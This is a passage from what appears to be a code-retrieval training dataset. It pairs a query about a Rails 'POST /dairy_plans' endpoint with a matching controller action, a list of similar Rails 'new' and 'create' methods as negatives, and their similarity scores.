wrong so report the issue to the user\n respond_to do |format|\n flash[:alert] = failure_message(plan, _('create'))\n format.html { redirect_to new_plan_path }\n end\n end\n end\n end", "def new\n\t# instantiate a model object\n @planitem = Planitem.new\n\n\t# Try to find the sprint from the URL param.\n\t# If one doesn't exist, we can't really\n\t# proceed because we don't know which quarter\n\t# to pull sprints from\n\tbegin\n\t\t@sprint = Sprint.find(params[:sprint])\n\t\t@sprints = Sprint.where(:quarter_id => @sprint.quarter.id)\n\t\[email protected] = @sprint\n\trescue ActiveRecord::RecordNotFound\n\t\t# We can't find the sprint, so get out quickly\n\t\tredirect_to quarters_path, :notice => \"Please choose a plan first.\"\n\t\treturn\n\tend\n\n\t# load up the teams for the select options\n\t@teams = Team.order(:name)\n\t# load up the initiatives for the select options\n\t@initiatives = Initiative.where(:quarter_id => @sprint.quarter_id)\n\n\t# Try to find the team from the URL param.\n\t# If one doesn't exist, that's ok, the user\n\t# can pick one from the list of teams.\n\tbegin\n\t\t@team = Team.find(params[:team])\n\t\[email protected] = @team\n\trescue ActiveRecord::RecordNotFound\n\t\t# If we can't find a team, no big deal\n\tend\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planitem }\n end\n end", "def create\n @plan = Plan.new(plan_params)\n respond_to do |format|\n if @plan.save\n # expire_fragment(\"plans\")\n expire_action :action => 'index'\n UserMailer.create_plan(current_user, @plan).deliver\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n if not check_logged_in then\n return\n end\n \n @plant = Plant.new\n \n @created_from_user = false\n if params[:came_from] then\n @created_from_user = true\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plant }\n end\n end", "def new\n @plate_cost = PlateCost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plate_cost }\n end\n end", "def new\n @test_plan = TestPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @test_plan }\n end\n end", "def new\n @plan_de_ventum = PlanDeVentum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan_de_ventum }\n end\n end", "def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan }\n end\n end", "def new\n @supplies_loan = SuppliesLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplies_loan }\n end\n end", "def new\n @product = Product.find(params[:product_id])\n @goal = Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end", "def new\n #@detail = Detail.new\n @plan = Plan.find(params[:plan_id])\n @detail = @plan.details.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @detail }\n end\n end", "def new\n @approval = Approval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @approval }\n end\n end", "def new\n @party = Party.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @party }\n end\n end", "def new\n @paise = Paise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @paise }\n end\n end", "def new\n @pickup = Pickup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pickup }\n end\n end", "def new\n @zone = Zone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @zone }\n end\n end", "def create\n @plantype = Plantype.new(params[:plantype])\n\n respond_to do |format|\n if @plantype.save\n format.html { redirect_to @plantype, notice: 'Plantype was successfully created.' }\n format.json { render json: @plantype, status: :created, location: @plantype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plantype.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def new\n @supplysite = Supplysite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplysite }\n end\n end", "def new\n @planned_event = PlannedEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planned_event }\n end\n end", "def new\n @title = t('view.providers.new_title')\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def create\n plant = Plant.create(plant_params)\n render json: plant, status: :created\n end", "def create\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def new_link\n @project = Project.new(user_id: current_user.id)\n fetch_projects\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "def new\n @settlement = Settlement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @settlement }\n end\n end", "def create\n @care_plan = CarePlan.new(care_plan_params)\n\n if @care_plan.save\n render json: @care_plan, status: :created, location: @care_plan\n else\n render json: @care_plan.errors, status: :unprocessable_entity\n end\n end", "def new\n @pdb = Pdb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pdb }\n end\n end", "def new\n @holding = Holding.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holding }\n end\n end", "def new\n @holding = Holding.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holding }\n end\n end", "def new\n @pto = Pto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pto }\n end\n end", "def new\n @withdrawal_request = WithdrawalRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @withdrawal_request }\n end\n end", "def create\n @exercise_plan = ExercisePlan.new(params[:exercise_plan])\n\n respond_to do |format|\n if @exercise_plan.save\n format.html { redirect_to @exercise_plan, notice: 'Exercise plan was successfully created.' }\n format.json { render json: @exercise_plan, status: :created, location: @exercise_plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @goal_state = GoalState.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal_state }\n end\n end", "def new\n @drip = Drip.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @drip }\n end\n end", "def new\n @past_project = PastProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @past_project }\n end\n end", "def new\n @pony = Pony.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pony }\n end\n end", "def new\n @toy_zone = ToyZone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @toy_zone }\n end\n end", "def new\n @medium_trial = MediumTrial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medium_trial }\n end\n end", "def new\n add_breadcrumb :new\n @visit = Visit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visit }\n end\n end", "def create\n @billing_plan = BillingPlan.new(billing_plan_params)\n\n respond_to do |format|\n if @billing_plan.save\n format.html { redirect_to @billing_plan, notice: 'Billing plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @billing_plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @billing_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @provider = current_company.providers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def new\n @withdrawal = Withdrawal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @withdrawal }\n end\n end", "def new\n @subway = Subway.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subway }\n end\n end", "def new\n @ourproject = Ourproject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ourproject }\n end\n end", "def new\n @patent = Patent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patent }\n end\n end", "def new\n @pokeparty = Pokeparty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pokeparty }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @agency }\n end\n end", "def new\n @grant = Grant.new\n\n respond_to do |format|\n format.html { render :layout => false } # new.html.erb\n format.json { render json: @grant }\n end\n end", "def new\n @trip = Trip.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trip }\n end\n end" ]
[ "0.77941835", "0.77941835", "0.754383", "0.7536883", "0.7500785", "0.74407995", "0.7434541", "0.7434278", "0.73549443", "0.73378897", "0.7290985", "0.7289623", "0.7209163", "0.7165532", "0.7118802", "0.7093485", "0.7091816", "0.70862377", "0.70838434", "0.7062924", "0.7021278", "0.7009099", "0.70050025", "0.6973189", "0.6965922", "0.6965584", "0.6965584", "0.69598264", "0.69598264", "0.69598264", "0.6955176", "0.6935655", "0.6931063", "0.6870352", "0.6867391", "0.68544006", "0.68466777", "0.68266714", "0.6823024", "0.68174815", "0.6810864", "0.6808985", "0.6805025", "0.68028694", "0.677368", "0.6769452", "0.676525", "0.67648655", "0.6762725", "0.6754363", "0.674085", "0.67307204", "0.67181784", "0.671007", "0.67026067", "0.67009044", "0.6689754", "0.66858786", "0.6683083", "0.66803336", "0.66773355", "0.6667983", "0.6657897", "0.6657377", "0.6648102", "0.66403383", "0.66365385", "0.6636433", "0.6636433", "0.6636389", "0.66322947", "0.66312313", "0.6625088", "0.6621918", "0.66204125", "0.66129667", "0.66111", "0.6610453", "0.66101027", "0.66101027", "0.6608947", "0.66065645", "0.6604063", "0.659587", "0.659057", "0.65892154", "0.6587887", "0.6586648", "0.65836525", "0.6577344", "0.65769225", "0.65759325", "0.6573106", "0.65721726", "0.6571096", "0.65707517", "0.6570105", "0.6569667", "0.6568899", "0.6568556" ]
0.7748617
2
POST /dairy_plans POST /dairy_plans.json
def create @dairy_plan = DairyPlan.new(params[:dairy_plan]) @dairy_plan.spm = @student.spm @dairy_plan.student = @student # 时间处理 需要判断是否填写 if params[:dairy_plan][:plan_date].to_s != "" date1 = DateTime.strptime(params[:dairy_plan][:plan_date] + " CCT", "%Y-%m-%d %Z") @dairy_plan.plan_date = date1 end respond_to do |format| if @dairy_plan.save format.html { redirect_to student_dairy_plans_path(@student), notice: 'Dairy plan was successfully created.' } format.json { render json: student_dairy_plans_path(@student), status: :created, location: @dairy_plan } else format.html { render action: "new" } format.json { render json: @dairy_plan.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @plan = Plan.new(params[:plan])\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def plan_params\n params.require(:plan).permit(:date, :breakfast_id, :lunch_id, :dinner_id, :food_id)\n end", "def create\n @plan = Plan.new(params[:plan])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render json: @plan, status: :created, location: @plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @dairy_plan = DairyPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dairy_plan }\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @panel_plan = Panel::Plan.new(params[:panel_plan])\n\n respond_to do |format|\n if @panel_plan.save\n format.html { redirect_to(@panel_plan, :notice => 'Plan was successfully created.') }\n format.json { render :json => @panel_plan, :status => :created, :location => @panel_plan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @panel_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n assessment = Assessment.find(plan_create_params.fetch(:assessment_id))\n disease_ids = plan_create_params.fetch(:disease_ids).to_s.split(\"-\")\n\n if plan_create_params[:indicators].values.map(&:to_i).any?(&:zero?)\n flash[:alert] = \"Every score and goal must be 1 or higher.\"\n return redirect_back fallback_location: root_path\n end\n\n @plan =\n Plan.create_from_goal_form(\n indicator_attrs: plan_create_params.fetch(:indicators),\n assessment: assessment,\n is_5_year_plan: plan_create_params.fetch(:term).start_with?(\"5\"),\n plan_name: \"#{assessment.country.name} draft plan\",\n disease_ids: disease_ids,\n user: current_user\n )\n unless @plan.persisted?\n flash[:notice] = \"Could not save your plan, something went wrong.\"\n redirect_back fallback_location: root_path\n return\n end\n session[:plan_id] = @plan.id unless current_user\n redirect_to @plan\n rescue Exceptions::InvalidDiseasesError => e\n flash[:notice] = e.message\n redirect_back fallback_location: root_path\n end", "def create_plan(body,\r\n idempotency_key = nil)\r\n # Prepare query url.\r\n _path_url = '/plans'\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'ServiceRefererName' => Configuration.service_referer_name,\r\n 'Content-Type' => 'application/json',\r\n 'idempotency-key' => idempotency_key\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: body.to_json\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n # Validate response against endpoint and global error codes.\r\n if _context.response.status_code == 400\r\n raise ErrorException.new(\r\n 'Invalid request',\r\n _context\r\n )\r\n elsif _context.response.status_code == 401\r\n raise ErrorException.new(\r\n 'Invalid API key',\r\n _context\r\n )\r\n elsif _context.response.status_code == 404\r\n raise ErrorException.new(\r\n 'An informed resource was not found',\r\n _context\r\n )\r\n elsif _context.response.status_code == 412\r\n raise ErrorException.new(\r\n 'Business validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 422\r\n raise ErrorException.new(\r\n 'Contract validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 500\r\n raise ErrorException.new(\r\n 'Internal server error',\r\n _context\r\n )\r\n end\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n PlansResponse1.from_hash(decoded)\r\n end", "def create\n @ad_plan = AdPlan.new(ad_plan_params)\n\n respond_to do |format|\n if @ad_plan.save\n format.html { redirect_to @ad_plan, notice: 'Ad plan was successfully created.' }\n format.json { render :show, status: :created, location: @ad_plan }\n else\n format.html { render :new }\n format.json { render json: @ad_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @billing_plan = BillingPlan.new(billing_plan_params)\n\n respond_to do |format|\n if @billing_plan.save\n format.html { redirect_to @billing_plan, notice: 'Billing plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @billing_plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @billing_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan creado exitosamente.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @plan.add_ident\n @plan.user_id = current_user.id\n unless @plan.save\n render json: {status: 'failed', message: '创建失败,请稍后重试 !'}\n end\n end", "def create\n @plan = Plan.create(plan_params)\n @incident = Incident.find(params[:incident_id])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to incident_plan_path(@incident, @plan) }\n format.json { redirect_to incident_plan_path(@incident, @plan) }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n respond_to do |format|\n if @plan.save\n # expire_fragment(\"plans\")\n expire_action :action => 'index'\n UserMailer.create_plan(current_user, @plan).deliver\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(params[:plan])\n @plan.transaction_fee_percent = TRANSACTION_FEE_PERCENT\n @plan.transaction_fee_flat = TRANSACTION_FEE_FLAT\n @plan.artist_id = session[:artist_id] \n\n respond_to do |format|\n if @plan.save\n\n Stripe::Plan.create( :amount => \"#{(@plan.price * 100).to_i}\", :interval => 'month', :name => \"#{@plan.artist.name} - #{@plan.name}\", :currency => 'usd', :id => \"#{@plan.id}\" )\n \n format.html { redirect_to(artist_profile_url(@plan.artist), :notice => 'Pledge level was successfully created.') }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:date, :user_id, :situation, :incident_id, :weather, \n :general_safety, :prepared_by, :org_list, :assignment_list, \n :comm_plan, :med_plan, :incident_map, :comm_plan, \n :travel_plan, :date_prepare, :time_prepared, :ops_period,\n :approved_by)\n end", "def plan_params\n params.require(:plan).permit(:name, :price, :trainings_id)\n end", "def plan_create_params\n params.require(:plan).permit(\n :stripe_id, :amount, :currency, :interval, :interval_count, :name,\n :statement_descriptor, :trial_period_days, :order, :highlight, :features, :description, :group\n )\n end", "def create\n @plan = Plan.new(params[:plan])\n @plan.user = current_user\n @plan.request = Request.find( params[:request_id] )\n\n respond_to do |format|\n if @plan.save\n @plan.request.days.times do |day|\n @plan.plan_days << PlanDay.create( { plan_id: @plan.id, day: day+1 } )\n end\n\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render json: @plan, status: :created, location: @plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :start_date, :end_date, :area_id)\n end", "def create\n @page_plan = PagePlan.new(page_plan_params)\n respond_to do |format|\n if @page_plan.save\n format.html { redirect_to @page_plan, notice: 'Page plan was successfully created.' }\n format.json { render :show, status: :created, location: @page_plan }\n else\n format.html { render :new }\n format.json { render json: @page_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exercise_plan = ExercisePlan.new(params[:exercise_plan])\n\n respond_to do |format|\n if @exercise_plan.save\n format.html { redirect_to @exercise_plan, notice: 'Exercise plan was successfully created.' }\n format.json { render json: @exercise_plan, status: :created, location: @exercise_plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @planitem = Planitem.new(planitems_params)\n\n respond_to do |format|\n if @planitem.save\n format.html { redirect_to \"#{plan_path(@planitem.sprint.quarter.name)}\", notice: 'Plan item was successfully created.' }\n format.json { render json: @planitem, status: :created, location: @planitem }\n else\n\t\t@sprint = Sprint.find(@planitem.sprint_id)\n\t\t@teams = Team.order(:name)\n\t\t@initiatives = Initiative.where(:quarter_id => @sprint.quarter_id)\n\t\t@sprints = Sprint.where(:quarter_id => @sprint.quarter_id)\n format.html { render action: \"new\" }\n format.json { render json: @planitem.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(attrs, user = @@default_user)\n attrs = { project_token: @project_token }.merge(attrs)\n @attributes = send_request('test_plans', :post) do |req|\n req.body = {\n test_plan: attrs.except(:project_token),\n token: attrs[:project_token],\n auth_token: user.auth_token\n }\n end\n end", "def plan_params\n params.require(:plan).permit(:title, :body, :is_pending, :team_ids, :plan_status, :user_id, team_ids: [])\n end", "def create\n @plan = Plan.new(params[:plan])\n \n respond_to do |format|\n if @plan.save\n flash[:notice] = \"Plan successfully submitted.\"\n format.html { redirect_to :back }\n format.mobile { redirect_to :back }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n format_amount\n @pay_plan = PayPlan.new(pay_plan_params)\n respond_to do |format|\n if @pay_plan.save\n format.html { redirect_to @pay_plan, notice: 'Payment plan was successfully created.' }\n format.json { render :show, status: :created, location: @pay_plan }\n else\n format.html { render :new }\n format.json { render json: @pay_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @plans = Plan.all\n\n render json: @plans\n end", "def plan_params\n\t\t\tparams.require(:plan).permit(:departure_date, :return_date, :description)\n\t\tend", "def create\n @study_plan = StudyPlan.new(study_plan_params)\n respond_to do |format|\n if @study_plan.save\n format.html { redirect_to study_plans_url, notice: 'Study plan was successfully created.' }\n format.json { render :show, status: :created, location: @study_plan }\n else\n format.html { render :new }\n format.json { render json: @study_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plans(params = {})\n scope 'default'\n get('plans/', params)\n end", "def plan_params\n params.require(:plan).permit(:name, :user_id, :description, :id, :starting_year)\n end", "def create\n @sslplan = Sslplan.new(params[:sslplan])\n\n respond_to do |format|\n if @sslplan.save\n format.html { redirect_to @sslplan, :notice => 'Sslplan was successfully created.' }\n format.json { render :json => @sslplan, :status => :created, :location => @sslplan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sslplan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @single_plan = SinglePlan.new(params[:single_plan])\n @single_plan.workout_plans << @workout_plan\n\n respond_to do |format|\n if @single_plan.save\n flash[:notice] = 'Single Plan was successfully created.'\n format.html { redirect_to(@single_plan) }\n format.xml { render :xml => @single_plan, :status => :created, :location => @single_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @single_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @plan.user = current_user\n respond_to do |format|\n if @plan.save\n format.html { redirect_to profile_path, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @meal_plan = MealPlan.new(meal_plan_params)\n\n respond_to do |format|\n if @meal_plan.save\n format.html { redirect_to @meal_plan, notice: 'Meal plan was successfully created.' }\n format.json { render :show, status: :created, location: @meal_plan }\n else\n format.html { render :new }\n format.json { render json: @meal_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @work_plan = WorkPlan.new(params[:work_plan])\r\n\r\n respond_to do |format|\r\n if @work_plan.save\r\n format.html { redirect_to @work_plan, notice: 'Work plan was successfully created.' }\r\n format.json { render json: @work_plan, status: :created, location: @work_plan }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def goals\n assessment_type = params[:assessment_type]\n country_name = params[:country_name]\n technical_area_ids = params[:areas].to_s.split(\"-\")\n @disease_ids = params[:diseases]\n country = Country.find_by_name country_name\n @publication = AssessmentPublication.find_by_named_id assessment_type\n if country.present? && @publication.present?\n @assessment =\n Assessment.deep_load(country.try(:alpha3), @publication.try(:id))\n end\n if @assessment.blank?\n render \"assessment_not_found\"\n return\n end\n @plan =\n Plan.new_from_assessment(\n assessment: @assessment,\n technical_area_ids: technical_area_ids,\n is_5_year_plan: params[:plan_term]&.start_with?(\"5\")\n )\n end", "def create\n @test_plan = TestPlan.new(test_plan_params)\n @test_plan.project_id = @project.id\n\n respond_to do |format|\n if @test_plan.save\n format.html { redirect_to project_test_plans_path(@project), flash: {success: 'LoadTest plan was successfully created.'} }\n format.json { render :show, status: :created, location: @test_plan }\n else\n format.html { render :new }\n format.json { render json: @test_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :user_id, :catalogYear, :majorName)\n end", "def create\n @cardio_plan = CardioPlan.new(params[:cardio_plan])\n @cardio_plan.workout_plans << @workout_plan\n\n respond_to do |format|\n if @cardio_plan.save\n flash[:notice] = 'Cardio Plan was successfully created.'\n format.html { redirect_to(@cardio_plan) }\n format.xml { render :xml => @cardio_plan, :status => :created, :location => @cardio_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cardio_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @sales_plan = SalesPlan.new(sales_plan_params)\n\n respond_to do |format|\n if @sales_plan.save\n format.html { redirect_to @sales_plan, notice: 'Sales plan was successfully created.' }\n format.json { render :show, status: :created, location: @sales_plan }\n else\n format.html { render :new }\n format.json { render json: @sales_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @care_plan = CarePlan.new(care_plan_params)\n\n if @care_plan.save\n render json: @care_plan, status: :created, location: @care_plan\n else\n render json: @care_plan.errors, status: :unprocessable_entity\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @case = @plan.case\n respond_to do |format|\n if @plan.save\n set_link_to_appointment(@plan)\n format.html { redirect_to back_index_case_url, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :user_id)\n end", "def planer_params\n params.require(:planer).permit(:new_plan, :priority, :date, :status)\n end", "def create\n @business_plan = BusinessPlan.new(business_plan_params)\n\n respond_to do |format|\n if @business_plan.save\n format.html { redirect_to @business_plan, notice: 'Business plan was successfully created.' }\n format.json { render :show, status: :created, location: @business_plan }\n else\n format.html { render :new }\n format.json { render json: @business_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n json = @json.with_indifferent_access.fetch(:dmp, {})\n render_error(errors: _('Invalid JSON!'), status: :bad_request) and return if json.blank?\n\n plan = Api::V2::DeserializationService.plan_from_dmp_id(dmp_id: json[:dmp_id])\n render_error(errors: _('Plan not found'), status: :not_found) and return if plan.blank?\n\n plan = Api::V2::PlansPolicy::Scope.new(@client, @resource_owner, nil).resolve\n .find { |p| p.id = plan.id }\n render_error(errors: _('Plan not found'), status: :not_found) and return if plan.blank?\n\n related_identifiers = json.fetch(:dmproadmap_related_identifiers, [])\n\n errs = Api::V2::JsonValidationService.related_identifiers_errors(\n json: related_identifiers\n )\n\n if errs.empty?\n RelatedIdentifier.transaction do\n related_identifiers.each do |related_identifier|\n id = Api::V2::Deserialization::RelatedIdentifier.deserialize(\n plan: plan, json: related_identifier\n )\n errs += id.errors.full_messages unless id.valid?\n next unless id.valid? && id.new_record?\n\n # TODO: Remove this once RSpace has updated their call to us\n id.relation_type = 'documents'\n\n id.save\n # Record this API activity\n log_activity(subject: id, change_type: :added)\n end\n end\n end\n\n if errs.flatten.any?\n render_error(errors: errs.flatten.uniq, status: :bad_request)\n else\n @items = paginate_response(results: [plan.reload])\n render '/api/v2/plans/index', status: :created\n end\n rescue StandardError => e\n Rails.logger.error \"API::V2::RelatedIdentifierController - create - #{e.message}\"\n Rails.logger.error e.backtrace\n render_error(errors: 'Unable to process the request at this time', status: 500)\n end", "def create\n @check_plan = CheckPlan.new(check_plan_params)\n\n respond_to do |format|\n if @check_plan.save\n format.html { redirect_to @check_plan, notice: 'Check plan was successfully created.' }\n format.json { render :show, status: :created, location: @check_plan }\n else\n format.html { render :new }\n format.json { render json: @check_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n render json: @plan\n end", "def create\n @article_plan = ArticlePlan.new(article_plan_params)\n\n respond_to do |format|\n if @article_plan.save\n format.html { redirect_to @article_plan, notice: 'Article plan was successfully created.' }\n format.json { render :show, status: :created, location: @article_plan }\n else\n format.html { render :new }\n format.json { render json: @article_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @lunchplan = Lunchplan.new(params[:lunchplan])\n\n respond_to do |format|\n if @lunchplan.save\n format.html { redirect_to @lunchplan, :notice => 'Lunchplan was successfully created.' }\n format.json { render :json => @lunchplan, :status => :created, :location => @lunchplan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @lunchplan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @ecommerceplan = Ecommerceplan.new(params[:ecommerceplan])\n\n respond_to do |format|\n if @ecommerceplan.save\n format.html { redirect_to @ecommerceplan, :notice => 'Ecommerceplan was successfully created.' }\n format.json { render :json => @ecommerceplan, :status => :created, :location => @ecommerceplan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @ecommerceplan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @inventory_plan = InventoryPlan.new(inventory_plan_params)\n\n respond_to do |format|\n if @inventory_plan.save\n format.html { redirect_to @inventory_plan, notice: 'Inventory plan was successfully created.' }\n format.json { render :show, status: :created, location: @inventory_plan }\n else\n format.html { render :new }\n format.json { render json: @inventory_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n client = Client.new(client_params)\n\n if !client.billing_plan\n render json: {error: \"you need to select a plan\"} \n else \n client.save\n render json: client, status: :created\n end\n end", "def new\n @panel_plan = Panel::Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @panel_plan }\n end\n 